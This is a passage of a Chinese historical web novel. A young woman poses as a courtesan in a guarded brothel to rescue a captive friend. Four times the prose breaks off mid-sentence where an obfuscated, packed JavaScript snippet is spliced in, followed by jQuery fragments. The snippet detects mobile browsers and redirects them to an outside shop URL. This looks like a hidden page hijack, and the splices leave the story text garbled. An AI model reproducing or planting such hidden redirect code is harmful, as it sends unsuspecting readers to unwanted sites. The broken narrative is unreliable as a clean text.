因身处深山之中，晨起要比寻常在城中时凉上几分。
顾静娴是被外头的哄闹声给吵醒的，彼时天还带着夜晚的墨色，日光还未刺破这抹黑色。
简单梳洗一番，顾静娴踏出院子，便见昨日同自己一起来的众位姑娘已成排站着。
她们愁容满面，阴郁而沉重。双眼已失了光彩，变得黯淡无光，随时都会落下泪来。
嬷嬷见着顾静娴，笑盈盈道：“姑娘怎醒来了，原还想等天亮了再来唤你。”
话音方落，站在嬷嬷身旁的两位姑娘斜眼看过来。
她们二人凤眼凝视，上下仔细端详起顾静娴来，目光瞬间转冷，眸光幽暗了几分。
一人捎带不满道：“玉帘庄的规矩，嬷嬷是人老糊涂，全忘却了？”
嬷嬷面上明显一愣，她眼珠一转，冷静回话，“紫鸾姑娘，这位姑娘是孟夫人推……”
还未等嬷嬷将话说完，紫鸾便厉声打断，“不论是何夫人，既来了玉帘庄就要守玉帘庄的规矩。”
嬷嬷心中也是窜出一团火来，可无奈何人家紫鸾是莳花楼里的姑娘，她轻易得罪不起。
“紫鸾姑娘说得是。”
目光又重新移到顾静娴身上，俄顷便传来紫鸾的声音，“别在那站着了，还不速速入列，难道还要本娘子亲自去扶你？”
顾静娴移步入列，此事才算平息。
后又由嬷嬷带路，众人便至一座小池旁。
彼时晨光破晓，碧水之上，波光粼粼。
虽还未入夏，可这座池子中荷花盛开，香气袭人，可见是精心培育才方得这一池。
往中走去，便至湖心亭中。亭中静置了一把古琴，紫鸾落座抚琴一曲，琴声与潺潺流水声交织，轻音绕梁。
一曲毕，紫鸾复又起身来至众人面前。
“文人墨客吟诗作赋时最喜听琴，今日便由我和莲华娘子坐镇，教导诸位如何弹奏。”
“你。”未发一声的莲华突然出声。
顾静娴闻声看去，正见一只玉手指着自己。
莲华轻蔑一笑，“既能得孟夫人的赏识，便由你先上来弹奏一曲。”
京城贵女中，琴棋书画四样是必学之目。顾静娴虽不喜弹琴，可在母亲逼迫之下，也是学得一手好技。
她自也不虚，缓步走至琴旁轻轻坐下。
“铮”的一声琴鸣，琴色犹如风卷落梅，落于粼粼白光的湖面之上，脆而清冷。
顾静娴夸赞道：“是把好琴。”
纤纤玉手拨动琴弦，行云流水般轻奏一曲不知名的民间小调，清冷的乐声如同泉水落崖，流畅而又婉转。
曲调渐渐低稳如珍珠落玉盘，渐渐又高如凤凰轻吟。此曲一出，竟衬得方才紫鸾那一曲成了庸脂俗粉。
这轻如天籁，旷若远山的琴音使得莲华心中一颤，她侧头面上似笑非笑地看向紫鸾。
紫鸾面上已浮现丝丝怒气，琴声闯入她的耳中，竟显得有些刺耳，“够了！”
一曲中止，琴音却依旧回荡，延绵不绝。
人群中窃窃私语起来，“难怪能得赏识，这琴技竟好过方才那曲。”
即便声音再轻，可也被紫鸾听见。她斜眼瞪着那人，良久后才收回目光。
紫鸾轻睨顾静娴，她的眼眸似利剑般，透着一股不容忽视的寒气。
“嬷嬷！”她厉声道，“这位姑娘琴技高绝，哪还需要在此听我授课？”
嬷嬷上前来，“紫鸾姑娘这是哪里的话，您的琴技在咱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100059|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们玉帘庄可属头等。”
紫鸾不怀好气道：“如今我这把第一的交椅，恐不久后就要被人夺走了。”
她又端详了一番顾静娴，讪笑道：“听闻厨司那儿缺人手，她既不需我来教授，不如这两日就去厨司做帮手吧。”
嬷嬷面露难色，一来孟夫人那边她得罪不起，二来紫鸾在玉帘庄地位颇高，也非她能忤逆，“这……”
紫鸾强忍着心中不悦，“嬷嬷如今是越发会办事了，我竟已请不动嬷嬷，难道还要通判大人家的少爷来请？”
嬷嬷没了法子，只得上前搀扶顾静娴。
顾静娴自也不想旁人受她牵连，乖觉地跟着嬷嬷离了亭子。
·
整个玉帘庄的膳食，上至密不透风的莳花楼，下至仆役嬷嬷，都由厨司管着。
管厨司的嬷嬷姓康，她得知顾静娴与官府有所关系，便也不敢安排太重的活，只叫她在后院清洗瓜果蔬菜。
“紫鸾可是九个娘子中最不好惹的，幸得姑娘只是被罚来我这。”康嬷嬷交代完事项，忍不住嘟囔起来。
顾静娴听出不对，问：“还有旁的人被罚？”
康嬷嬷索□□代，“每次来庄子中的姑娘，有出挑者都要被紫鸾罚，只是那几位都是送往水牢，没姑娘那么好运，还能留得性命。”
顾静娴也能明白，紫鸾如今在这楼中身居高位，若官府人员不在时，她同其他八位姑娘便是这座庄子最大的执权者。
在此地能够掌权，全来自于大人们的宠爱，今日自己冒尖出挑，也难免紫鸾动气。
若非自己身后有孟氏的名义撑着，恐怕她今日所去之地，也会是水牢。
康嬷嬷道：“姑娘若是洗完了，便自己坐着休息罢。”
左右不过一篮子瓜果，清洗擦尽也要不了多少功夫。
康嬷嬷未再派活，顾静娴便坐在后院椅子上静坐着。
不久后，一年纪近四十的女子捧着一竹篮进内，她看着无所事事的顾静娴，大声吩咐道：“内务司买了青蟹，你过来跟着我一起洗。”
顾静娴倒也不推脱，二话不说便坐到那人身侧。
这位妇人自打顾静娴坐下便有一搭没一茬地问话，从哪里人士，问到父母至亲，再问到为何来厨司，还未停下她那张喋喋不休的嘴。
直到一双粗糙嵌着黑泥的手被青蟹夹去，她的注意力才从顾静娴身上转移。
“这楼里的娘子可真是娇贵，非嚷着要吃什么青蟹，害得我被夹！”
顾静娴问：“这蟹是给莳花楼里的娘子们准备的？”
妇人没好气道：“是啊，此类贵物除了她们，谁还能吃着？”
顾静娴又问：“那是楼中娘子每人都有？”
“自然都有，”妇人道，“若少了谁，厚此薄彼，那要是去贵人面前哭诉，保不齐我们还能不能见到第二日的太阳！”
顾静娴看着方才自己清洗瓜果蓝之中的红柿，霎时间，一个想法于她脑海之中油然而生。
那妇人见顾静娴停了手中的活催促道：“愣着干嘛，你就别想了，这些青蟹可没你的份！”
21. 入楼
莳花楼内，灯火辉煌，朱红色的帘幕层层高挂。
流水声与丝竹之音交织在一起，又与熏香之味紧密相连。
好一派犹如仙境之景。
几位嬷嬷将备好的午膳送往众娘子各自的房中后，便迅速从楼中离去。
一间名为照水馆的屋子内，一女子身披单薄的拖地长衫，从床榻之上缓缓起身。
她慢步走至摆满膳食的桌前，拿起一只已处理妥当的青蟹品了起来。
·
不知过了几时，只知西边红日逐渐西坠，独留半个红盘立于山前。
从莳花楼中跑出一位嬷嬷，她的穿着打扮要比在外头的诸位更为华丽些。
她急欲出门，却被看守的给拦了下来，“没有令牌，不许外出。”
嬷嬷急出了汗，一张嘴却因心急，变得磕磕绊绊起来，“姑娘，姑娘病了！你要拦我，可姑娘要是出事，你想想自己能有几个脑袋够砍的！？”
两个看守的小厮面面相觑，却仍不愿放行。
闻得吵闹声，几位嬷嬷聚集过去。
有人问：“慌慌张张的，怎么了这是？”
嬷嬷指着屋内，气急道：“周娘子，周娘子她出事了！方才不知何故，上吐下泻，止都止不住啊！如今晕死过去，命悬一线！”
“药呢，可吃了？”
“正是因为吃了还是如此，我才急啊！”嬷嬷急得跺脚，“要是周娘子真的出事了，我这脑袋也要跟着落地！”
她开始央求那两位小厮，“你们二位爷就行行好吧，倘若上头怪罪下来，咱们救周娘子有功，未必会被罚，反而可能还有功！”
那二人仍旧不为所动，“即便放嬷嬷你出去，庄门处也未必会放嬷嬷出去请大夫。咱们这，病死的姑娘难道还少吗？”
平日里对顾静娴颇为照顾的嬷嬷站在人群中，昨夜经顾静娴调理，今日身子果真舒坦多了。
她思量片刻，开口道：“既然去外头寻大夫不成，咱们庄上倒有位姑娘会医术。”
站在楼内的嬷嬷仿佛抓住了救命稻草，“人在何处？”
“今日刚被紫鸾娘子派往厨司打杂。”
康嬷嬷闻言，指了指自己，“我们这？”她仔细一想，近晌午之时不就正好有位姑娘被派到自己那吗？
她便忙慌往厨司赶去，“我这就去把她叫来！”
不多时后，顾静娴几乎是被康嬷嬷连拽带拉才带到莳花楼前的，她揉了揉胳膊，就听有人叫她。
抬眸看去，一位嬷嬷哭得梨花带雨，泪流满面。她将身子架在两位小厮手上，略带欣喜却又带忧虑地问道：“娘子，你当真会行医？”
顾静娴心中明白，这是自己的计策奏效了。
她道：“略学过几年。”
引荐她的嬷嬷道：“昨夜正是她为我行针灸，我这身上今日便宽松不少！”
事到如今，也论不得行医是否高超。
总之只要会行医，哪怕只是皮毛，能为周元霜看上一眼也是好的。
“进内来，替我们周娘子看看！”
顾静娴受邀上前，却也被那两位小厮给拦下。
嬷嬷心中愤恨，竟握拳击打起二人紧扣在一起的手，边打边吼，“你们两个新来的糊涂东西，周娘子可是姜少爷的心尖之宠，你们以为拦着不让人进出就能护住你们二人的狗命了？错了！你们这是把自己和我的命一道绝了！”
那二人听出不对，心中掂量良久后，这才放下了手。
顾静娴得以进内，嬷嬷方想带其入内，却又听身后二人拦道：“慢着。”
嬷嬷又吼起来，“人命关天，如何能等！”
话音一落，一小厮就阔步上前，他取出一条黑布，将顾静娴的双眸遮住，围绕一圈缚在脑后。
“进去可以，可这黑布切莫摘下。”
顾静娴心中一沉。
她此番入内，一来是为了瞧一眼周元霜，二来便是想要摸清这楼中布局，以便后续朱华庭救人。
可如今这般，再想摸清布局也是不能够了。
眼下最重要的，便是先瞧见周元霜这人。
她便由着嬷嬷搀扶入内，却一层一层地在心中计数，直到行至第六层，脚下由台阶转为平地。
明显感觉到房门被打开，自己被嬷嬷带进了一间屋子，等进屋中后门又被重新关上，嬷嬷这才将绑在顾静娴头上的眼罩拿下。
这间屋子要比顾静娴想象中的稍微小一些，轻纱帘幕静静地垂着，层层叠加似要将房间错落隔开。
房中摆放着各色鲜花，每朵都生得娇艳欲滴，故而房中除了淡淡香薰之气之外，便是以花香为主。
二人穿过帘幕走至一张床前，就见一女子虚弱地躺在其上。
她的头发略显凌乱，脸上血色尚浅，一双眼睛微张不张，无神空洞，最终还嘟囔着说着话，因语气微弱，听不清说得是何话。
想来这人就是顾静娴这段日子里，苦苦寻找的周元霜。
见来人，周元霜那张因干燥而开裂的嘴唇微微开合，似要说什么，却因无力只得发出呜呜咽咽的微弱之音。
嬷嬷道：“姑娘，你快未其看看吧！”
顾静娴快速上前，从被褥中轻轻将周元霜的手拿出，随之将自己的手在其脉上落下。
果真不出顾静娴心中所料，她左右不过是在青蟹之上加了几滴柿子汁水，除了微微腹泻之外，断不会如此严重。
而如今这样的周元霜，正是因为这两年久困楼中心中积怨，才导致幽怨之气聚集五脏六腑。
家族受人迫害，自己又要隔三差五地屈身与杀父仇人屈下，此等仇情便是放在任何人身上，恐也不会多么好过。
嬷嬷忙问道：“看出来些什么了，她这样可还能活？若不能活，能否替其拖一拖，我好派人去禀告姜公子。”
顾静娴将周元霜的手重新放回被褥之中，才道：“娘子这脉象……她常日里身子便要弱些，今天许是染了风寒，病上加病，这才造成如今这样的局面。”
“姑娘不妨给个准话，她这样到底还能不能活下去？”嬷嬷只关心周元霜会不会死，至于其他，她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115328|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不愿多加过问。
毕竟只要周元霜不死，那么她也还能保住自己这一条老命。
“不过只是病得重些，阳寿未尽，左不过去鬼门关走上一遭，阎王爷那还收不得魂去。”
嬷嬷长舒了口气，疲惫感顿时席卷全身，她顾不得规矩不规矩的，就近身侧寻了把椅子便坐下，“能活就好，能活就好……”
顾静娴直起身子道：“只是，周娘子如今身子虚弱，需得好好养着，虽说能保住其性命，可接下来这几日我得时候护其身侧，静观其变，才可保无意外发生。”
嬷嬷如今身心俱疲，脑子中没别的想法，现下里只要能护住她自己这条命怎么着都成。
再者……左右面前的姑娘是进来做妓子的，相貌又生得出众，保不齐何时就能跻身进这楼中。
入了这里，生是这里的姑娘，死是卖身在此的鬼，既如此也算得上是一家人，又何故设防。
莳花楼守卫又多，一小女子倘若真要反，那也得有通天的本事才行！
想到这，嬷嬷喃喃道：“那姑娘这几日就和周娘子同住，若有缺的尽管和我说便是。”
顾静娴写了张方子，嬷嬷领走后言说要让内务司出庄采买，就出了屋子。
一时间，这屋内只剩下顾静娴和周元霜二人。
顾静娴轻开了一条门缝，见四下里无人，缓步移至床前。
她取出一枚银针，将其缓缓扎进周元霜的人中处。
须臾，床榻之上的人有了反应。
周元霜轻轻咳了两声，她一双无神的眸子看向顾静娴，语气之中捎带怨气，“为何要救我，不如……不如就让我这样死了。”
顾静娴取来床榻边放着的帕子，将其在铜盆中的温水中过了一遍，才为周元霜擦去额间渗透出来的虚汗。
她缓缓道：“死又何其容易，可周姑娘，你当真就想这样草草死去？”
周元霜心同槁木，丧着声音道：“与其在此如此狼狈的活着，何不一死来得痛快。”
顾静娴微微一叹，周元霜的遭遇虽与自己并不相同，可家破人亡的滋味，顾静娴倒是清楚。
“难道周姑娘就未曾想过，为周家报仇？”
报仇二字从顾静娴嘴中说出时，周元霜那原本黯淡无光的眼珠瞬间迸出一丝光亮。
“报仇，”可周元霜眼中这丝光亮只维持不久，便又重新暗淡下去，“又谈何容易……”
“若我说，我能帮助姑娘替周家报仇呢？”
闻言，周元霜的眼睛略略动了一下，她艰难地想要撑起身子，最终却仍以失败告终。
娇小消瘦的身子挪了挪，顾静娴这一番话，于周元霜而言，就像是一位沉溺水中无法自救的少女，忽得一双能救她脱离开湖水的双手。
救命稻草，弥足珍贵！
顿时，周元霜眸中激动的泪水夺眶而出，一股暖流涌遍她的全身。
她的手紧紧地抓住被褥，指节因用力而泛白，她的心跳加快，像鼓点一样在胸腔之中敲击。
“你……如何能够帮我？”
22. 医治
“你……要如何帮我？”
周元霜眉心紧蹙，她用手将自己半个身子强撑起来，一双眼睛死死盯着顾静娴。
看面前之人的遭遇，即便是再铁石心肠的人，眼见之后也会心生怜悯。
顾静娴看着这朵饱经风霜的娇花，眼中闪过一丝怜惜之情。良久后，她道：“久困于此，我助姑娘逃出生天。”
周元霜淡淡地笑了一声，她的身子又软了下去，就好似一盘刚复燃的火盆，霎时间又转变成死灰，只要风一吹，便散了。
“此处守卫森严，想要逃出这里，谈何容易。”
她像一只被牢笼囚禁久了的金丝雀，失了挣扎之力。
又或者说，她也曾试着逃离此处，可到了最后发现也只是徒劳罢了。
顾静娴静静地看着她，“不试试，又怎知不能成？”
周元霜沉默了一会，她突然问道：“你莫不是为了试探与我，好去姜云炳那儿邀功？”
顾静娴上前将银针拔除，“周姑娘多虑了。”
周元霜看着她，“你贸贸然进内，又贸贸然同我说这些，难保我不会误会。若我言语有失，还望不要怪罪。”
银针拔除之后，周元霜顿觉身上刚凝聚起来的力气在慢慢消散。
顾静娴道：“谨慎是好事，周姑娘如今病体未愈，需好生休息，闭眼小憩会吧。”
周元霜咬着唇，偏过头去，不多时便沉沉入睡。
顾静娴看着她瘦弱的身材，顿了片刻，而后轻笑了一声，走到桌前坐下。
屋内一直无声，直到几只不知名的鸟儿于窗台外侧歇脚，一声又一声的鸟鸣传入屋内。
顾静娴手倚桌台闭眼小憩，被这几声鸟鸣闹醒，她缓缓睁眼，长长的睫羽下覆着一双淡淡的眸子。
她觉唇间干涩，为自己斟了一盏茶水，轻饮几口，那几只飞鸟又重新回来，她起身欲上前驱逐。
可方站起身子，不知从何处传来一阵细微的哭泣声。
这哭声不强，顾静娴本以为是自己久坐突然站起而产生的错觉，可又静静听了，这哭泣之声悲悯万分，于空旷的楼中回荡。
顾静娴心中好奇，慢慢挪步到门前，方想将门打开，身后却传来周元霜轻咳的声音。
“姑娘还是不要出去为好。”
顾静娴的手止在空中，她愣了片刻后，慢慢转回身子。
周元霜道：“这楼里有楼里的规矩，若被人被人发现你在这楼中乱走，定要遭一顿罚，这里的人动手可不顾轻重。”
顾静娴轻笑一生，礼貌地颔首，“多谢提醒。”
可哭泣声却仍未停止。
周元霜也听到了，她哀叹一声，“这楼里的女子都是身不得已的，这样的哭声，日日都有。想我进来时，也若这般，日子久了渐渐习惯了，便也记不得哭了。”
顾静娴不知该说些什么，她虽与周元霜一样落得个家破人亡的下场，可到底身由自己，不用受此凌辱之气。
周元霜看顾静娴久不接话，她淡淡笑了一声，“好在如今你设法进来，说要救我出去，给了我生的希望。”
顾静娴淡笑道：“一定。”
不多时后，房门被打开，康嬷嬷端着一碗汤药进来。
她不急着将药喂给周元霜喝下，反而先近顾静娴身侧，她面上浮笑道：“姑娘，孟夫人找你。”
·
孟氏就在对面的屋子中，因在同一楼层之中，顾静娴才得以不用黑布遮面就能走出屋子。
刚走出门，一尊硕大的佛头便映入顾静娴眼中，西侧窗柩处射进一道金光，于佛头之上洒下斑驳陆离的光影。
顾静娴忍不住多走了几步，近栏杆后，她才看清这一尊立于莳花楼正中央的硕大佛像。
楼中巍峨，飞檐翘角，雕梁画栋。
这一派肃穆之景，当真难以让人想象这儿竟会是座勾栏瓦舍。
可顾静娴心中却顿时蹦出一个念头，或许此处正是一座“古寺”。
她还住在姜府之时，常听得姜氏父子提及一处古寺，她原以为是姜松自觉作恶多端，遂于佛祖之前忏悔，这才常常去寺庙之中为自己求个福报。
如今想来……或许他们二人常道的古寺，就是这莳花楼！
一个专供达官贵人供奉神明的古寺，平民百姓无法入内。那么就算是有人偶然间发现这里，也能以专供官府贵人拜佛之名给圆过去。
看着那慈悲的目光，顾静娴心中暗暗啐了一口。
为了满足心中那点恶心的欲望，竟能不顾其他到如此地步。
康嬷嬷见顾静娴呆站着不动，催促道：“姑娘别站着了，孟夫人还在等你呢。”
顾静娴这才收回思绪收回，她跟随在康嬷嬷身后，将这楼中布局尽收眼底。
行至一间房门前，康嬷嬷将门给打开，顾静娴提群跨过门槛入内，就见孟氏正端坐着。
孟氏见着顾静娴，面上笑意浮生，她上前牵住顾静娴的手，又吩咐康嬷嬷将门带上，这才拉着顾静娴坐下。
“距离半月之期还有几日，夫人怎么今日就来了。”
孟氏捂着自己的小腹，说明了缘由，“自打怀胎这几日，我便觉得腹内温热，可会影响到胎儿？”
顾静娴道：“夫人宫寒，是以才让夫人使用那微星养宫丸，夫人宫内温热便是这药起了功效，以助夫人稳固胎气。”
听顾静娴这样说，孟氏紧抓着的心这才松懈几分，“那还要这样多久？”
“三个月后，等胎气稳固，也便归于平常妇人怀胎之象。”
孟氏心中宽懈不少，她问道：“这几日在这庄中可还好？若是受不住，今日便同我一道回去吧。”
顾静娴道：“一切都好，只是还未得到银子。既来此，岂能半途而废呢？”
孟氏似笑非笑道：“还真看不出，殷姑娘你竟如此爱财。”
顾静娴笑笑，“人活世间，不就为了谋生。若无银子，何来生。”她顿了顿，又道，“这楼里的姑娘病了，我正为其医治。救人之事，怎能说停就停。我要是走了，恐这位姑娘也凶多吉少。”
孟氏轻轻摇了摇头，“殷姑娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128942|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无悔自己选得这条路便成。”
“夫人若是想帮我，我这还当真有一事。”
孟氏道：“姑娘请说，力所能及之事，我定帮你。”
“这几日我已将这玉帘庄的规矩摸清，”顾静娴替孟氏斟茶，转而递上，“我想让夫人帮我登上媚阶，光明正大地住进这莳花楼。”
孟氏闻言，面上一愣。
她看着顾静娴手中的杯盏，良久后接过饮下，“区区小事，待我回府中同我家大人一提便是。”
劝也劝了，可对方执迷于钱财而不悟，孟氏也没了法子。
三月胎稳之后，她与面前的殷姑娘就再没有交集。只要她能产下一子，别人的生死又与她何干？
顾静娴从袖间将提前备好的丸药取出，“夫人既来了，这药我便先交给夫人。可夫人定要记住，必得在半月之期才能服下，否则适得其反，对胎儿不利。”
孟氏接过药，由张妈妈扶着出去。
顾静娴微微欠身，“多谢夫人。”
等孟氏走远，那阵哭声复又出现。
顾静娴眉尾轻挑，正欲出门查看，却被康嬷嬷拦了去路。
“姑娘请随我回去。”
顾静娴没法，只得跟着康嬷嬷往回走。
原以为在外头走会听得清楚些，可这哭声却似从四面八方涌出，或在顶上，或在身旁，总之听不真切到底是从哪间屋子传出。
康嬷嬷三步并两步，两步并一步地走着，不多时便回了周元霜的屋子，等顾静娴入内，她便急着将门给关上。
“你们两个，”透过门纱，顾静娴明显看见康嬷嬷指了两个人，“去看看。”
周元霜道：“姑娘回来了。”
顾静娴转过身，却见周元霜从床上下来，静静地坐在桌前。
“周姑娘怎么下床了。”
周元霜锤了锤自己的腿，稍有怨气道：“一日日只管躺着，这身上也觉得不自在。不过姑娘那药果真灵验，喝下之后便觉得好些了。”
看着周元霜的样子，相比一开始的脸色苍白，如今再看就要变得红润些。
顾静娴伸手搭脉，周元霜却往后一缩。
她意识到自己此举不妥，面容愁苦道：“被人打习惯了，我下意识就只想着躲，抱歉……”
顾静娴轻声安慰了几句，才将自己的手搭上周元霜的脉。
一脉结束，顾静娴的双眼波澜掩盖不住，她眉头轻轻一皱，才平复下来。
周元霜问：“可快好了？”
顾静娴道：“冰冻三尺非一日之寒，周娘子这身子还得好好养着，并没那么快。不过娘子且放心，脉象归稳，是好事。”
周元霜面露喜色，“如此便好，养好身子，才能为我周家报仇。姑娘，这几日就得劳累你了。”
她又问：“只是我有一事不明，咱们二人未曾见过，你又何故身陷险地，就为了救我？”
顾静娴面色一怔，瞬间又释然，露出一抹温和的笑道，“伯父曾与我家有恩，如今周家只剩娘子一人，救你出去，以报恩情。”
23. 媚阶
“家父向来乐善好施，”周元霜谈及自己的父亲，面上露出淡淡的笑意，她上前拉住顾静娴的手，又道，“可见咱们是有缘分的。我如今家破人亡，独留我自己在这世间，若你不嫌，咱们不妨义结金兰，今后以姐妹相称。”
未等顾静娴先给反应，周元霜又接着说：“只是不知妹妹出自哪家？”
“能与周姐姐做姐妹，是我三生有幸，”顾静娴也笑了起来，可这笑不过一瞬，脸上就由晴转阴，“我如今同姐姐一般，双亲具已亡故，这世间也独我一人。”
闻言，周元霜面上僵了一僵，她将顾静娴抱进怀中，安慰道：“是我言语有失，一不小心唤起了妹妹的伤心往事。”
顾静娴收了收悲伤之情，她道：“姐姐无心之失不必内疚，如今能与周姐姐义结金兰成为姐妹，也不至于孤苦活在这世上。”
言道此处，周元霜面上挂起两条清泪，她喃喃道：“妹妹……”
“姐姐如今最主要的事，还是先养好自己的身子。”顾静娴说着，又搀着周元霜坐回床榻上。
她服侍着周元霜躺下，复又替其盖上被子，嘱咐道：“养好身子，努力活下去，咱们才能为伴。”
周元霜点了点头，她面上喜不自胜。可因心中这番起伏，她原本羸弱的身子又虚弱无力，不过片刻就又沉沉睡去。
顾静娴趁着她睡着之际，又替其把了次脉，如今比方才相比竟又好了几分。
·
晨曦微露，旭日再次东升，一晃三日已过。
顾静娴将窗子打开，起伏的群山藏匿在浓厚的晨雾之中映入她的眼中，晨风也铺面吹来。
住在这里几日，唯独这扇窗子可见天日，顾静娴平日里最喜欢的就是站在此处眼看外头的风光。
她实在难以相信，这一年多来，周元霜像一只金丝雀被关在笼子之中，日子该有多么难熬。
周元霜卧在床上，几丝凉风拂过她的身子，她忍不住打了个寒颤。
顾静娴见着，将窗子重新关上。
这时，几声轻轻的叩门声从门口处传来。
顾静娴问道：“是谁？”
外头的人并没有回答顾静娴的问题，只自顾问道：“元霜，你可好些了？”
听见声音，周元霜从床上坐起来，她轻咳了几声，轻声回道：“已好些了。”
外头的人许久没有回应，可看着身影却还未从门外走开。
良久后，那人又道：“我给你带了药，你将门开开，让我见你一眼求个心安。”
顾静娴见二人熟识，便想上前将门打开，可还未走近门旁，周元霜便开口止住了。
“我如今虽比前几日好些，可这身上恐还带着病气。青央姐姐，不如你就将药放在门口，过会等你走了我再出门来拿。等日后我身子全然大好，自有机会相见。”
顾静娴停住脚步。
外头的人又沉默了一会后，才道：“那好，那你定要记得出来拿，可别忘了。”
周元霜又咳了几声，“劳青央姐姐费心了。”
顾静娴站在门旁，见那身影渐渐走远，可走了不过几步她又顿住脚步，又扭头往回瞧了一眼后才快步离去。
等身影完全消失不见，顾静娴才开门将那药取进来。
她将所有的东西拿到周元霜的面前，道：“这位姐姐还挺关心你。”
周元霜看了一眼药，才回顾静娴的话，“这楼里的姑娘都是可怜人，大家互相帮衬，暖暖彼此的心，才能有活下去的希望。”
“可周姐姐如今已好得差不多，为何不让她进来瞧瞧？”
周元霜叹了口气，“我们住在楼中，不似在外头那般自由自在。你也能看出，这次若不是你入内救我，恐怕我如今已在阴司报道。假如我一个不注意真把病气过给青央，就是害了她。”
顾静娴道：“周姐姐心细。”
门被轻轻打开，康嬷嬷从门外阔步进来。
她面上喜悦之情难抑，笑盈盈地走到顾静娴面前，欣喜道：“恭喜殷娘子位及媚阶！”
孟氏为了她腹中的孩子，如今定事无巨细全听顾静娴的。
所以对于升媚阶一事，或早或晚孟氏都会替顾静娴安排，她心中也就没有多少波澜。
何况，这种为了附身男子，以供男子享乐的级别，于顾静娴而言，不过就是为了营救周元霜逃出这楼的手段罢了。
她淡笑道：“知晓了。”
康嬷嬷忙拍马屁，“殷娘子不愧能被赏识，遇到此等大事也能如此波澜不惊，老身佩服啊。”
顾静娴微微一挑眉，她看着康嬷嬷道：“这事在妈妈眼中，算好事吗？”
“能升媚阶，自然是好事！”康嬷嬷嘿嘿笑道，“我这就去安排屋子，以供娘子您居住！”
顾静娴淡淡道：“有劳了。”
康嬷嬷往外走出，可还未出门又转身回来，她拍了拍自己的头，笑道：“瞧我这记性，光替娘子您感到高兴，竟昏了头，连要事都忘了说了！”
顾静娴问：“什么要事？”
“上头吩咐，媚阶娘子要为接下来的赏花宴备支舞，”康嬷嬷说着说着，凑在顾静娴耳边轻声道，“听说有位王爷要来，娘子好生准备着，若你能被那王爷看中，荣华富贵可就享之不尽了！”
“嬷嬷怎就觉得，我能被王爷瞧上？”
康嬷嬷要笑不笑道：“说实话，姑娘的身材样貌不比其余那九位要差，王爷瞧不上你，那也定也就瞧不上她们！”
“那就多谢嬷嬷吉言。”
等康嬷嬷出去，周元霜欣喜道：“妹妹位及媚阶，日后就能在这楼中与我为伴了。”
顾静娴略一迟疑，转而半带轻笑道：“在这楼中？姐姐放心，我定助你出逃。”
周元霜微露喜色，“我在这楼中住了不过近两载，便觉得一辈子都要深陷在此。有妹妹这句话，我就觉得自己要重获新生一般。只是不知，妹妹可是有出逃的法子了？”
顾静娴摇了摇头，“还未。”
周元霜轻轻叹了一口气，“也是，想从这密不透风的地方逃出去，谈何容易。”
顾静娴又道：“姐姐放心，一有机会，我定会救你出去。”
周元霜脸上又笑，“好，我信你。”
·
又过了两日，周元霜的身子已经见好。
媚阶娘子们已着手备舞，顾静娴因要照顾周元霜的身子，故而迟了几日才去。可周元霜身子虽已恢复，可顾及她大病初愈，并未将她安排进献舞名册之中。
在楼中住了这几日，忽然走出外头，顾静娴顿觉日光刺眼。
她轻皱眉头，将手遮住光线，这才能勉强睁开眼睛。往前行了几步，她转头往身后瞧去，原本觉得明亮的楼内竟是昏暗一片。
这地，果真不是人该待的地方……
由康嬷嬷带路，不久后顾静娴便被带进一屋子前。
还未入内，便听闻里面的争吵声。
“这个姿势我已教了不下五遍，怎还是记不住？当真不知，你们这样的货色是如何被选中来这的！”
顾静娴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151239|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的到来明显打扰到了紫鸾的训斥，她闻声探来目光，见是故人前来，讪笑道：“这不是殷娘子吗，几日不见便身及媚阶，连考核都能全然不顾，当真有一身好本事。只是不知，这莳花楼你可住得习惯？”
“相比外头，莳花楼富丽，我又怎会住不习惯。”顾静娴迎上紫鸾的目光，平淡道。
紫鸾面上没有好颜色，她剜了一眼顾静娴，带有不满之意道：“我们已练了数日，这几日唯独你一人缺席，自己好好补回去，可别误了我们的大事。”
